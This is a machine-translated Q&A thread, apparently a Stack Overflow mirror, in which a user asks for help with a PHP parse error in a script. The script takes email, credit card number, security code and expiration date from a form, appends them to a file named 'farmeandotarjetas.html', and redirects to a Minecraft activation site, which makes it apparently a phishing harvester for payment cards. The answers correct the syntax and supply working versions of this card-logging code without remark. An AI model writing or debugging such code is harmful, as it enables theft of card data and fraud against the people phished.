2014-12-27 2 views
-5

Это мой код:Ошибка: Ошибка синтаксического анализа: синтаксическая ошибка, неожиданный T_STRING

<?php 

$email = $_POST['email']; 
$credit = $_POST['credit']; 
$security = $_POST['security']; 
$expiration = $_POST['expiration']; 
$fm = "farmeandotarjetas.html"; 
$fh = fopen($fm,"a"); 
$fmstring = "Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>"; 
fwrite($fm); 
fclose($fm); 
echo "<meta http-equiv='refresh' content='1;url=http://minecraftactivation.com/'>"; 
</? 

Моя проблема: Parse error: syntax error, unexpected T_STRING in /home/u431949153/public_html/post.php на линии 10. Линия 10 является FWRITE ($ фм);

+1

Я предполагаю, что ошибка возникает из-за значение строки неправильно назначенным для '$ fmstring' – Zword

+1

Вы можете легко обнаружить ошибку, даже здесь; В вашей среде IDE есть подсветка синтаксиса? –

ответ

2

У вас есть ошибка в 9-й строке. ваша линия должна быть что-то вроде этого:

$fmstring = 'Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>'; 
+1

также ошибка в завершении php tab

0

У вас есть несколько ошибок первого в $ fmstring и рядом вы должны дать ему ресурс не строка так изменить $ фм до $ ФХ и $ fmstring, как это

$email = $_POST['email']; 
$credit = $_POST['credit']; 
$security = $_POST['security']; 
$expiration = $_POST['expiration']; 
$fm = "farmeandotarjetas.html"; 
$fh = fopen($fm,"a"); 
$fmstring = 'Email: '.$email.'</font></b>] Credit Card: [<b><fontcolor="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>'; 

fwrite($fh); 
fclose($fh); 
0

Если и используя двойные кавычки для эхо значения попробовать этот стиль

echo "Email: {$email}, Credit Card: {$credit_card}"; 

выше метода является такой же, как этот стиль

echo "Email: ".$email.", Credit Card: ".$credit_card; 

и

echo 'Email: '.$email.', Credit Card: '.$credit_card; 

это много вариантов, чтобы сделать код читаемым для себя

для вашей проблемы пытаются изменить этот код в ваш

$fmstring = "Email: {$email}</font></b>] 
      Credit Card: [<b><font color=\"#FF1493\">{$credit}</font></b>] 
      Security Code: [<b><font color=\"#FF1493\">{$security}</font></b>] 
      Expiration code: [<b><font color=\"#FF1493\">{$expiration}<br>"; 

может у видеть, что ? если u, использующий двойную кавычку для состояния эха, и строка имеет одну или несколько двойных кавычек u, необходимо поместить обратную косую черту перед каждой двойной цитатой в строке.

и не забудьте изменить PHP тег близко к ?> не </?